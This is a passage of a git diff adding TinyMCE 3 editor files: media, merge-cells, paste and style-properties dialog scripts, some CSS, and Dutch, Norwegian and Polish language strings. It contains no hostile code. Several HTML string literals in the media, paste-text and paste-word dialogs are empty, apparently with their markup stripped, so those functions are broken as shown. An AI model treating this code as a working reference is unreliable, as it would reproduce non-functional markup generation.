=== 'true') || (name && value === name.toLowerCase()); + } + elm.checked = !!value; + } else + elm.value = value; + } + } + + window.Media = { + init : function() { + var html, editor, self = this; + + self.editor = editor = tinyMCEPopup.editor; + + // Setup file browsers and color pickers + get('filebrowsercontainer').innerHTML = getBrowserHTML('filebrowser','src','media','media'); + get('qtsrcfilebrowsercontainer').innerHTML = getBrowserHTML('qtsrcfilebrowser','quicktime_qtsrc','media','media'); + get('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + get('video_altsource1_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource1','video_altsource1','media','media'); + get('video_altsource2_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource2','video_altsource2','media','media'); + get('audio_altsource1_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource1','audio_altsource1','media','media'); + get('audio_altsource2_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource2','audio_altsource2','media','media'); + get('video_poster_filebrowser').innerHTML = getBrowserHTML('filebrowser_poster','video_poster','media','image'); + + html = self.getMediaListHTML('medialist', 'src', 'media', 'media'); + if (html == "") + get("linklistrow").style.display = 'none'; + else + get("linklistcontainer").innerHTML = html; + + if (isVisible('filebrowser')) + get('src').style.width = '230px'; + + if (isVisible('video_filebrowser_altsource1')) + get('video_altsource1').style.width = '220px'; + + if (isVisible('video_filebrowser_altsource2')) + get('video_altsource2').style.width = '220px'; + + if (isVisible('audio_filebrowser_altsource1')) + get('audio_altsource1').style.width = '220px'; + + if (isVisible('audio_filebrowser_altsource2')) + get('audio_altsource2').style.width = '220px'; + + if (isVisible('filebrowser_poster')) + get('video_poster').style.width = '220px'; + + editor.dom.setOuterHTML(get('media_type'), self.getMediaTypeHTML(editor)); + + self.setDefaultDialogSettings(editor); + self.data = clone(tinyMCEPopup.getWindowArg('data')); + self.dataToForm(); + self.preview(); + + updateColor('bgcolor_pick', 'bgcolor'); + }, + + insert : function() { + var editor = tinyMCEPopup.editor; + + this.formToData(); + editor.execCommand('mceRepaint'); + tinyMCEPopup.restoreSelection(); + editor.selection.setNode(editor.plugins.media.dataToImg(this.data)); + tinyMCEPopup.close(); + }, + + preview : function() { + get('prev').innerHTML = this.editor.plugins.media.dataToHtml(this.data, true); + }, + + moveStates : function(to_form, field) { + var data = this.data, editor = this.editor, + mediaPlugin = editor.plugins.media, ext, src, typeInfo, defaultStates, src; + + defaultStates = { + // QuickTime + quicktime_autoplay : true, + quicktime_controller : true, + + // Flash + flash_play : true, + flash_loop : true, + flash_menu : true, + + // WindowsMedia + windowsmedia_autostart : true, + windowsmedia_enablecontextmenu : true, + windowsmedia_invokeurls : true, + + // RealMedia + realmedia_autogotourl : true, + realmedia_imagestatus : true + }; + + function parseQueryParams(str) { + var out = {}; + + if (str) { + tinymce.each(str.split('&'), function(item) { + var parts = item.split('='); + + out[unescape(parts[0])] = unescape(parts[1]); + }); + } + + return out; + }; + + function setOptions(type, names) { + var i, name, formItemName, value, list; + + if (type == data.type || type == 'global') { + names = tinymce.explode(names); + for (i = 0; i < names.length; i++) { + name = names[i]; + formItemName = type == 'global' ? name : type + '_' + name; + + if (type == 'global') + list = data; + else if (type == 'video' || type == 'audio') { + list = data.video.attrs; + + if (!list && !to_form) + data.video.attrs = list = {}; + } else + list = data.params; + + if (list) { + if (to_form) { + setVal(formItemName, list[name], type == 'video' || type == 'audio' ? name : ''); + } else { + delete list[name]; + + value = getVal(formItemName); + if ((type == 'video' || type == 'audio') && value === true) + value = name; + + if (defaultStates[formItemName]) { + if (value !== defaultStates[formItemName]) { + value = "" + value; + list[name] = value; + } + } else if (value) { + value = "" + value; + list[name] = value; + } + } + } + } + } + } + + if (!to_form) { + data.type = get('media_type').options[get('media_type').selectedIndex].value; + data.width = getVal('width'); + data.height = getVal('height'); + + // Switch type based on extension + src = getVal('src'); + if (field == 'src') { + ext = src.replace(/^.*\.([^.]+)$/, '$1'); + if (typeInfo = mediaPlugin.getType(ext)) + data.type = typeInfo.name.toLowerCase(); + + setVal('media_type', data.type); + } + + if (data.type == "video" || data.type == "audio") { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src: getVal('src')}; + } + } + + // Hide all fieldsets and show the one active + get('video_options').style.display = 'none'; + get('audio_options').style.display = 'none'; + get('flash_options').style.display = 'none'; + get('quicktime_options').style.display = 'none'; + get('shockwave_options').style.display = 'none'; + get('windowsmedia_options').style.display = 'none'; + get('realmedia_options').style.display = 'none'; + get('embeddedaudio_options').style.display = 'none'; + + if (get(data.type + '_options')) + get(data.type + '_options').style.display = 'block'; + + setVal('media_type', data.type); + + setOptions('flash', 'play,loop,menu,swliveconnect,quality,scale,salign,wmode,base,flashvars'); + setOptions('quicktime', 'loop,autoplay,cache,controller,correction,enablejavascript,kioskmode,autohref,playeveryframe,targetcache,scale,starttime,endtime,target,qtsrcchokespeed,volume,qtsrc'); + setOptions('shockwave', 'sound,progress,autostart,swliveconnect,swvolume,swstretchstyle,swstretchhalign,swstretchvalign'); + setOptions('windowsmedia', 'autostart,enabled,enablecontextmenu,fullscreen,invokeurls,mute,stretchtofit,windowlessvideo,balance,baseurl,captioningid,currentmarker,currentposition,defaultframe,playcount,rate,uimode,volume'); + setOptions('realmedia', 'autostart,loop,autogotourl,center,imagestatus,maintainaspect,nojava,prefetch,shuffle,console,controls,numloop,scriptcallbacks'); + setOptions('video', 'poster,autoplay,loop,muted,preload,controls'); + setOptions('audio', 'autoplay,loop,preload,controls'); + setOptions('embeddedaudio', 'autoplay,loop,controls'); + setOptions('global', 'id,name,vspace,hspace,bgcolor,align,width,height'); + + if (to_form) { + if (data.type == 'video') { + if (data.video.sources[0]) + setVal('src', data.video.sources[0].src); + + src = data.video.sources[1]; + if (src) + setVal('video_altsource1', src.src); + + src = data.video.sources[2]; + if (src) + setVal('video_altsource2', src.src); + } else if (data.type == 'audio') { + if (data.video.sources[0]) + setVal('src', data.video.sources[0].src); + + src = data.video.sources[1]; + if (src) + setVal('audio_altsource1', src.src); + + src = data.video.sources[2]; + if (src) + setVal('audio_altsource2', src.src); + } else { + // Check flash vars + if (data.type == 'flash') { + tinymce.each(editor.getParam('flash_video_player_flashvars', {url : '$url', poster : '$poster'}), function(value, name) { + if (value == '$url') + data.params.src = parseQueryParams(data.params.flashvars)[name] || data.params.src || ''; + }); + } + + setVal('src', data.params.src); + } + } else { + src = getVal("src"); + + // YouTube *NEW* + if (src.match(/youtu.be\/[a-z1-9.-_]+/)) { + data.width = 425; + data.height = 350; + data.params.frameborder = '0'; + data.type = 'iframe'; + src = 'http://www.youtube.com/embed/' + src.match(/youtu.be\/([a-z1-9.-_]+)/)[1]; + setVal('src', src); + setVal('media_type', data.type); + } + + // YouTube + if (src.match(/youtube.com(.+)v=([^&]+)/)) { + data.width = 425; + data.height = 350; + data.params.frameborder = '0'; + data.type = 'iframe'; + src = 'http://www.youtube.com/embed/' + src.match(/v=([^&]+)/)[1]; + setVal('src', src); + setVal('media_type', data.type); + } + + // Google video + if (src.match(/video.google.com(.+)docid=([^&]+)/)) { + data.width = 425; + data.height = 326; + data.type = 'flash'; + src = 'http://video.google.com/googleplayer.swf?docId=' + src.match(/docid=([^&]+)/)[1] + '&hl=en'; + setVal('src', src); + setVal('media_type', data.type); + } + + if (data.type == 'video') { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src : src}; + + src = getVal("video_altsource1"); + if (src) + data.video.sources[1] = {src : src}; + + src = getVal("video_altsource2"); + if (src) + data.video.sources[2] = {src : src}; + } else if (data.type == 'audio') { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src : src}; + + src = getVal("audio_altsource1"); + if (src) + data.video.sources[1] = {src : src}; + + src = getVal("audio_altsource2"); + if (src) + data.video.sources[2] = {src : src}; + } else + data.params.src = src; + + // Set default size + setVal('width', data.width || (data.type == 'audio' ? 300 : 320)); + setVal('height', data.height || (data.type == 'audio' ? 32 : 240)); + } + }, + + dataToForm : function() { + this.moveStates(true); + }, + + formToData : function(field) { + if (field == "width" || field == "height") + this.changeSize(field); + + if (field == 'source') { + this.moveStates(false, field); + setVal('source', this.editor.plugins.media.dataToHtml(this.data)); + this.panel = 'source'; + } else { + if (this.panel == 'source') { + this.data = clone(this.editor.plugins.media.htmlToData(getVal('source'))); + this.dataToForm(); + this.panel = ''; + } + + this.moveStates(false, field); + this.preview(); + } + }, + + beforeResize : function() { + this.width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10); + this.height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10); + }, + + changeSize : function(type) { + var width, height, scale, size; + + if (get('constrain').checked) { + width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10); + height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10); + + if (type == 'width') { + this.height = Math.round((width / this.width) * height); + setVal('height', this.height); + } else { + this.width = Math.round((height / this.height) * width); + setVal('width', this.width); + } + } + }, + + getMediaListHTML : function() { + if (typeof(tinyMCEMediaList) != "undefined" && tinyMCEMediaList.length > 0) { + var html = ""; + + html += ''; + + return html; + } + + return ""; + }, + + getMediaTypeHTML : function(editor) { + function option(media_type, element) { + if (!editor.schema.getElementRule(element || media_type)) { + return ''; + } + + return '' + } + + var html = ""; + + html += ''; + return html; + }, + + setDefaultDialogSettings : function(editor) { + var defaultDialogSettings = editor.getParam("media_dialog_defaults", {}); + tinymce.each(defaultDialogSettings, function(v, k) { + setVal(k, v); + }); + } + }; + + tinyMCEPopup.requireLangPack(); + tinyMCEPopup.onInit.add(function() { + Media.init(); + }); +})(); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/merge_cells.js b/js/tiny_mce/themes/advanced/skins/o2k7/merge_cells.js new file mode 100755 index 0000000..fc2a048 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/merge_cells.js @@ -0,0 +1,27 @@ +tinyMCEPopup.requireLangPack(); + +var MergeCellsDialog = { + init : function() { + var f = document.forms[0]; + + f.numcols.value = tinyMCEPopup.getWindowArg('cols', 1); + f.numrows.value = tinyMCEPopup.getWindowArg('rows', 1); + }, + + merge : function() { + var func, f = document.forms[0]; + + tinyMCEPopup.restoreSelection(); + + func = tinyMCEPopup.getWindowArg('onaction'); + + func({ + cols : f.numcols.value, + rows : f.numrows.value + }); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(MergeCellsDialog.init, MergeCellsDialog); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/nl.js b/js/tiny_mce/themes/advanced/skins/o2k7/nl.js new file mode 100755 index 0000000..3ef2c14 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/nl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advanced',{"underline_desc":"Onderstrepen (Ctrl+U)","italic_desc":"Cursief (Ctrl+I)","bold_desc":"Vet (Ctrl+B)",dd:"Definitiebeschrijving",dt:"Definitieterm",samp:"Codevoorbeeld",code:"Code",blockquote:"Citaat",h6:"Kop 6",h5:"Kop 5",h4:"Kop 4",h3:"Kop 3",h2:"Kop 2",h1:"Kop 1",pre:"Vaste opmaak",address:"Adres",div:"Div",paragraph:"Alinea",block:"Opmaak",fontdefault:"Lettertype","font_size":"Tekengrootte","style_select":"Stijlen","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","more_colors":"Meer kleuren","toolbar_focus":"Spring naar werkbalk - Alt+Q, Spring naar tekst - Alt-Z, Spring naar elementpad - Alt-X",newdocument:"Weet u zeker dat u alle inhoud wilt wissen?",path:"Pad","clipboard_msg":"Kopi\u00ebren/knippen/plakken is niet beschikbaar in Mozilla en Firefox.\nWilt u meer informatie over deze beperking?","blockquote_desc":"Citaat","help_desc":"Help","newdocument_desc":"Nieuw document","image_props_desc":"Afbeeldingseigenschappen","paste_desc":"Plakken","copy_desc":"Kopi\u00ebren","cut_desc":"Knippen","anchor_desc":"Anker invoegen/bewerken","visualaid_desc":"Hulplijnen weergeven","charmap_desc":"Symbool invoegen","backcolor_desc":"Tekstmarkeringskleur","forecolor_desc":"Tekstkleur","custom1_desc":"Uw eigen beschrijving hier","removeformat_desc":"Opmaak verwijderen","hr_desc":"Scheidingslijn invoegen","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"HTML bron bewerken","cleanup_desc":"Code opruimen","image_desc":"Afbeelding invoegen/bewerken","unlink_desc":"Link verwijderen","link_desc":"Link invoegen/bewerken","redo_desc":"Herhalen (Ctrl+Y)","undo_desc":"Ongedaan maken (Ctrl+Z)","indent_desc":"Inspringing vergroten","outdent_desc":"Inspringing verkleinen","numlist_desc":"Nummering","bullist_desc":"Opsommingstekens","justifyfull_desc":"Uitvullen","justifyright_desc":"Rechts uitlijnen","justifycenter_desc":"Centreren","justifyleft_desc":"Links uitlijnen","striketrough_desc":"Doorhalen","help_shortcut":"Druk op ALT-F10 voor de werkbalk. Druk op ALT-0 voor hulp.","rich_text_area":"Rich Text Zone","shortcuts_desc":"Toegankelijkheid Help",toolbar:"Werkbalk"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/nl_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/nl_dlg.js new file mode 100755 index 0000000..d3ab5ac --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advhr_dlg',{size:"Hoogte",noshade:"Geen schaduw",width:"Breedte",normal:"Normaal",widthunits:"Eenheden"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/no.js b/js/tiny_mce/themes/advanced/skins/o2k7/no.js new file mode 100755 index 0000000..0fef8d9 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/no.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advanced',{"underline_desc":"Understrek (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Fet (Ctrl+B)",dd:"Definisjonsbeskrivelse",dt:"Definisjonsuttrykk",samp:"Kodeeksempel",code:"Kode",blockquote:"Innrykk",h6:"Overskrift 6",h5:"Overskrift 5",h4:"Overskrift 4",h3:"Overskrift 3",h2:"Overskrift 2",h1:"Overskrift 1",pre:"Pre-formatert",address:"Adresse",div:"Div",paragraph:"Avsnitt",block:"Format",fontdefault:"Skriftfamilie","font_size":"Skriftst\u00f8rrelse","style_select":"Stiler","more_colors":"Flere farger","toolbar_focus":"Skift til verkt\u00f8yknapper - Alt+Q, Skift til editor - Alt-Z, Skift til elementsti - Alt-",newdocument:"Er du sikker p\u00e5 at du vil slette alt innhold?",path:"Sti","clipboard_msg":"Klipp ut/Kopier/Lim er ikke tilgjengelig i Mozilla og Firefox. \n Vil du vite mer om dette?","blockquote_desc":"Innrykk","help_desc":"Hjelp","newdocument_desc":"Nytt dokument","image_props_desc":"Egenskaper for bilde","paste_desc":"Lim inn","copy_desc":"Kopier","cut_desc":"Klipp ut","anchor_desc":"Sett inn/editer anker","visualaid_desc":"Sl\u00e5 av/p\u00e5 usynlige elementer","charmap_desc":"Sett inn spesialtegn","backcolor_desc":"Velg bakgrunnsfarge","forecolor_desc":"Velg skriftfarge","custom1_desc":"Din egen beskriveles her","removeformat_desc":"Fjern formatering","hr_desc":"Sett inn horisontal linje","sup_desc":"Hev skrift","sub_desc":"Senk skrift","code_desc":"Rediger HTML kildekode","cleanup_desc":"Rense grisete kode","image_desc":"Sett inn / endre bilde","unlink_desc":"Fjerne lenke","link_desc":"Sett inn/editer lenke","redo_desc":"Gj\u00f8r om (Ctrl+Y)","undo_desc":"Angre (Ctrl+Z)","indent_desc":"\u00d8k innrykk","outdent_desc":"Reduser innrykk","numlist_desc":"Nummerliste","bullist_desc":"Punktliste","justifyfull_desc":"Blokkjustert","justifyright_desc":"H\u00f8yrejustert","justifycenter_desc":"Midtstilt","justifyleft_desc":"Venstrejustert","striketrough_desc":"Gjennomstreke","help_shortcut":"Trykk ALT F10 for verkt\u00f8ylinje. Trykk ALT 0 for hjelp","rich_text_area":"Redigeringsomr\u00e5de","shortcuts_desc":"Hjelp for funksjonshemmede",toolbar:"Verkt\u00f8ylinje","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/no_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/no_dlg.js new file mode 100755 index 0000000..3ca75ee --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advhr_dlg',{size:"H\u00f8yde",noshade:"Ingen skygge",width:"Bredde",normal:"Normal",widthunits:"Enheter"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/pagebreak.gif b/js/tiny_mce/themes/advanced/skins/o2k7/pagebreak.gif new file mode 100755 index 0000000..acdf408 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/o2k7/pagebreak.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/pastetext.js b/js/tiny_mce/themes/advanced/skins/o2k7/pastetext.js new file mode 100755 index 0000000..81b1d6a --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/pastetext.js @@ -0,0 +1,36 @@ +tinyMCEPopup.requireLangPack(); + +var PasteTextDialog = { + init : function() { + this.resize(); + }, + + insert : function() { + var h = tinyMCEPopup.dom.encode(document.getElementById('content').value), lines; + + // Convert linebreaks into paragraphs + if (document.getElementById('linebreaks').checked) { + lines = h.split(/\r?\n/); + if (lines.length > 1) { + h = ''; + tinymce.each(lines, function(row) { + h += '

    ' + row + '

    '; + }); + } + } + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('content'); + + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } +}; + +tinyMCEPopup.onInit.add(PasteTextDialog.init, PasteTextDialog); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/pasteword.js b/js/tiny_mce/themes/advanced/skins/o2k7/pasteword.js new file mode 100755 index 0000000..959bf39 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/pasteword.js @@ -0,0 +1,51 @@ +tinyMCEPopup.requireLangPack(); + +var PasteWordDialog = { + init : function() { + var ed = tinyMCEPopup.editor, el = document.getElementById('iframecontainer'), ifr, doc, css, cssHTML = ''; + + // Create iframe + el.innerHTML = ''; + ifr = document.getElementById('iframe'); + doc = ifr.contentWindow.document; + + // Force absolute CSS urls + css = [ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css")]; + css = css.concat(tinymce.explode(ed.settings.content_css) || []); + tinymce.each(css, function(u) { + cssHTML += ''; + }); + + // Write content into iframe + doc.open(); + doc.write('' + cssHTML + ''); + doc.close(); + + doc.designMode = 'on'; + this.resize(); + + window.setTimeout(function() { + ifr.contentWindow.focus(); + }, 10); + }, + + insert : function() { + var h = document.getElementById('iframe').contentWindow.document.body.innerHTML; + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h, wordContent : true}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('iframe'); + + if (el) { + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } + } +}; + +tinyMCEPopup.onInit.add(PasteWordDialog.init, PasteWordDialog); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/pl.js b/js/tiny_mce/themes/advanced/skins/o2k7/pl.js new file mode 100755 index 0000000..f7348f1 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/pl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advanced',{"underline_desc":"Podkre\u015blenie (Ctrl+U)","italic_desc":"Kursywa (Ctrl+I)","bold_desc":"Pogrubienie (Ctrl+B)",dd:"Opis terminu",dt:"Definicja terminu ",samp:"Pr\u00f3bka kodu",code:"Kod",blockquote:"Wydzielony blok",h6:"Nag\u0142\u00f3wek 6",h5:"Nag\u0142\u00f3wek 5",h4:"Nag\u0142\u00f3wek 4",h3:"Nag\u0142\u00f3wek 3",h2:"Nag\u0142\u00f3wek 2",h1:"Nag\u0142\u00f3wek 1",pre:"Czcionka o sta\u0142ej szeroko\u015bci",address:"Adres",div:"Div",paragraph:"Akapit",block:"Format",fontdefault:"Rodzaj czcionki","font_size":"Rozmiar czcionki","style_select":"Styl","more_colors":"Wi\u0119cej kolor\u00f3w...","toolbar_focus":"Przeskocz do przycisk\u00f3w narz\u0119dzi - Alt+Q, Przeskocz do edytora - Alt-Z, Przeskocz do elementu \u015bcie\u017cki - Alt-X",newdocument:"Czy jeste\u015b pewnien, ze chcesz wyczy\u015bci\u0107 ca\u0142\u0105 zawarto\u015b\u0107?",path:"\u015acie\u017cka","clipboard_msg":"Akcje Kopiuj/Wytnij/Wklej nie s\u0105 dost\u0119pne w Mozilli i Firefox.\nCzy chcesz wi\u0119cej informacji o tym problemie?","blockquote_desc":"Blok cytatu","help_desc":"Pomoc","newdocument_desc":"Nowy dokument","image_props_desc":"W\u0142a\u015bciwo\u015bci obrazka","paste_desc":"Wklej (Ctrl V)","copy_desc":"Kopiuj (Ctrl C)","cut_desc":"Wytnij (Ctrl X)","anchor_desc":"Wstaw/edytuj kotwic\u0119","visualaid_desc":"Prze\u0142\u0105cz widoczno\u015b\u0107 wska\u017anik\u00f3w i niewidocznych element\u00f3w","charmap_desc":"Wstaw znak specjalny","backcolor_desc":"Wybierz kolor t\u0142a","forecolor_desc":"Wybierz kolor tekstu","custom1_desc":"Tw\u00f3j niestandardowy opis tutaj","removeformat_desc":"Usu\u0144 formatowanie","hr_desc":"Wstaw poziom\u0105 lini\u0119","sup_desc":"Indeks g\u00f3rny","sub_desc":"Indeks dolny","code_desc":"Edytuj \u017ar\u00f3d\u0142o HTML","cleanup_desc":"Wyczy\u015b\u0107 nieuporz\u0105dkowany kod","image_desc":"Wstaw/edytuj obraz","unlink_desc":"Usu\u0144 link","link_desc":"Wstaw/edytuj link","redo_desc":"Pon\u00f3w (Ctrl+Y)","undo_desc":"Cofnij (Ctrl+Z)","indent_desc":"Wci\u0119cie","outdent_desc":"Cofnij wci\u0119cie","numlist_desc":"Lista numerowana","bullist_desc":"Lista nienumerowana","justifyfull_desc":"R\u00f3wnanie do prawej i lewej","justifyright_desc":"Wyr\u00f3wnaj do prawej","justifycenter_desc":"Wycentruj","justifyleft_desc":"Wyr\u00f3wnaj do lewej","striketrough_desc":"Przekre\u015blenie","help_shortcut":"Wci\u015bnij Alt F10 aby pokaza\u0107 pasek narz\u0119dzi. Wci\u015bnij Alt 0 aby otworzy\u0107 pomoc","rich_text_area":"Pole tekstowe","shortcuts_desc":"Pomoc dost\u0119pno\u015bci",toolbar:"Pasek narz\u0119dzi","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/pl_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/pl_dlg.js new file mode 100755 index 0000000..f4e5138 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advhr_dlg',{size:"Wysoko\u015b\u0107",noshade:"Bez cienia",width:"Szeroko\u015b\u0107",normal:"Normalny",widthunits:"Jednostki"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/popup.css b/js/tiny_mce/themes/advanced/skins/o2k7/popup.css new file mode 100755 index 0000000..034b985 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/popup.css @@ -0,0 +1,9 @@ +input.field, select.field {width:200px;} +input.picker {width:179px; margin-left: 5px;} +input.disabled {border-color:#F2F2F2;} +img.picker {vertical-align:text-bottom; cursor:pointer;} +h1 {padding: 0 0 5px 0;} +.panel_wrapper div.current {height:160px;} +#xhtmlxtrasdel .panel_wrapper div.current, #xhtmlxtrasins .panel_wrapper div.current {height: 230px;} +a.browse span {display:block; width:20px; height:20px; background:url('../../../themes/advanced/img/icons.gif') -140px -20px;} +#datetime {width:180px;} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/props.css b/js/tiny_mce/themes/advanced/skins/o2k7/props.css new file mode 100755 index 0000000..5550b09 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/props.css @@ -0,0 +1,13 @@ +#text_font {width:250px;} +#text_size {width:70px;} +.mceAddSelectValue {background:#DDD;} +select, #block_text_indent, #box_width, #box_height, #box_padding_top, #box_padding_right, #box_padding_bottom, #box_padding_left {width:70px;} +#box_margin_top, #box_margin_right, #box_margin_bottom, #box_margin_left, #positioning_width, #positioning_height, #positioning_zindex {width:70px;} +#positioning_placement_top, #positioning_placement_right, #positioning_placement_bottom, #positioning_placement_left {width:70px;} +#positioning_clip_top, #positioning_clip_right, #positioning_clip_bottom, #positioning_clip_left {width:70px;} +.panel_wrapper div.current {padding-top:10px;height:230px;} +.delim {border-left:1px solid gray;} +.tdelim {border-bottom:1px solid gray;} +#block_display {width:145px;} +#list_type {width:115px;} +.disabled {background:#EEE;} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/props.js b/js/tiny_mce/themes/advanced/skins/o2k7/props.js new file mode 100755 index 0000000..5c82ec6 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/props.js @@ -0,0 +1,650 @@ +tinyMCEPopup.requireLangPack(); + +var defaultFonts = "" + + "Arial, Helvetica, sans-serif=Arial, Helvetica, sans-serif;" + + "Times New Roman, Times, serif=Times New Roman, Times, serif;" + + "Courier New, Courier, mono=Courier New, Courier, mono;" + + "Times New Roman, Times, serif=Times New Roman, Times, serif;" + + "Georgia, Times New Roman, Times, serif=Georgia, Times New Roman, Times, serif;" + + "Verdana, Arial, Helvetica, sans-serif=Verdana, Arial, Helvetica, sans-serif;" + + "Geneva, Arial, Helvetica, sans-serif=Geneva, Arial, Helvetica, sans-serif"; + +var defaultSizes = "9;10;12;14;16;18;24;xx-small;x-small;small;medium;large;x-large;xx-large;smaller;larger"; +var defaultMeasurement = "+pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; +var defaultSpacingMeasurement = "pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;+ems=em;exs=ex;%"; +var defaultIndentMeasurement = "pixels=px;+points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; +var defaultWeight = "normal;bold;bolder;lighter;100;200;300;400;500;600;700;800;900"; +var defaultTextStyle = "normal;italic;oblique"; +var defaultVariant = "normal;small-caps"; +var defaultLineHeight = "normal"; +var defaultAttachment = "fixed;scroll"; +var defaultRepeat = "no-repeat;repeat;repeat-x;repeat-y"; +var defaultPosH = "left;center;right"; +var defaultPosV = "top;center;bottom"; +var defaultVAlign = "baseline;sub;super;top;text-top;middle;bottom;text-bottom"; +var defaultDisplay = "inline;block;list-item;run-in;compact;marker;table;inline-table;table-row-group;table-header-group;table-footer-group;table-row;table-column-group;table-column;table-cell;table-caption;none"; +var defaultBorderStyle = "none;solid;dashed;dotted;double;groove;ridge;inset;outset"; +var defaultBorderWidth = "thin;medium;thick"; +var defaultListType = "disc;circle;square;decimal;lower-roman;upper-roman;lower-alpha;upper-alpha;none"; + +function init() { + var ce = document.getElementById('container'), h; + + ce.style.cssText = tinyMCEPopup.getWindowArg('style_text'); + + h = getBrowserHTML('background_image_browser','background_image','image','advimage'); + document.getElementById("background_image_browser").innerHTML = h; + + document.getElementById('text_color_pickcontainer').innerHTML = getColorPickerHTML('text_color_pick','text_color'); + document.getElementById('background_color_pickcontainer').innerHTML = getColorPickerHTML('background_color_pick','background_color'); + document.getElementById('border_color_top_pickcontainer').innerHTML = getColorPickerHTML('border_color_top_pick','border_color_top'); + document.getElementById('border_color_right_pickcontainer').innerHTML = getColorPickerHTML('border_color_right_pick','border_color_right'); + document.getElementById('border_color_bottom_pickcontainer').innerHTML = getColorPickerHTML('border_color_bottom_pick','border_color_bottom'); + document.getElementById('border_color_left_pickcontainer').innerHTML = getColorPickerHTML('border_color_left_pick','border_color_left'); + + fillSelect(0, 'text_font', 'style_font', defaultFonts, ';', true); + fillSelect(0, 'text_size', 'style_font_size', defaultSizes, ';', true); + fillSelect(0, 'text_size_measurement', 'style_font_size_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'text_case', 'style_text_case', "capitalize;uppercase;lowercase", ';', true); + fillSelect(0, 'text_weight', 'style_font_weight', defaultWeight, ';', true); + fillSelect(0, 'text_style', 'style_font_style', defaultTextStyle, ';', true); + fillSelect(0, 'text_variant', 'style_font_variant', defaultVariant, ';', true); + fillSelect(0, 'text_lineheight', 'style_font_line_height', defaultLineHeight, ';', true); + fillSelect(0, 'text_lineheight_measurement', 'style_font_line_height_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'background_attachment', 'style_background_attachment', defaultAttachment, ';', true); + fillSelect(0, 'background_repeat', 